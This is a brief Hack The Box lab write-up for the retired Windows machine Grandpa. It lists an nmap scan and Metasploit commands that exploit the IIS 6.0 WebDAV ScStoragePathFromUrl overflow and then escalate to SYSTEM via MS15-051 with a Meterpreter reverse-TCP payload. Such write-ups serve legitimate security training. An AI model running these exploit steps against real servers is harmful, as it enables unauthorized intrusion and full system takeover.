Hack The Box · Easy · Windows

Grandpa

IIS 6.0 WebDAV exploitation followed by local privilege escalation through a vulnerable Windows kernel path.

Machine Details

Name	Grandpa
Release Date	12 Apr 2017
Retire Date	21 Oct 2017
Operating System	Windows
Difficulty	Easy - Retired [0]
Creator	ch4p
Legacy Notes	CherryTree file

Enumeration

The initial scan exposed only Microsoft IIS 6.0 on TCP 80, with WebDAV methods such as COPY, MOVE, PROPFIND, PUT, and others available.

nmap -sC -sV -oA ./Grandpa 10.10.10.14

SearchSploit identified several IIS 6.0 issues, including the WebDAV ScStoragePathFromUrl remote buffer overflow.

Initial Access

The non-Metasploit path proved unstable, so the reliable route was the IIS WebDAV module:

msfconsole
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set RHOSTS 10.10.10.14
set LHOST 10.10.X.X
run

Privilege Escalation

After backgrounding the Meterpreter session, the local exploit suggester pointed toward MS15-051. The initial attempt failed until the session was migrated into a more suitable process such as wmiprvse.exe.

background
use exploit/windows/local/ms15_051_client_copy_image
set SESSION 3
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.X.X
run

MS15-051 local privilege escalation setup

Once the exploit succeeded, the session had SYSTEM-level access and both flags could be collected.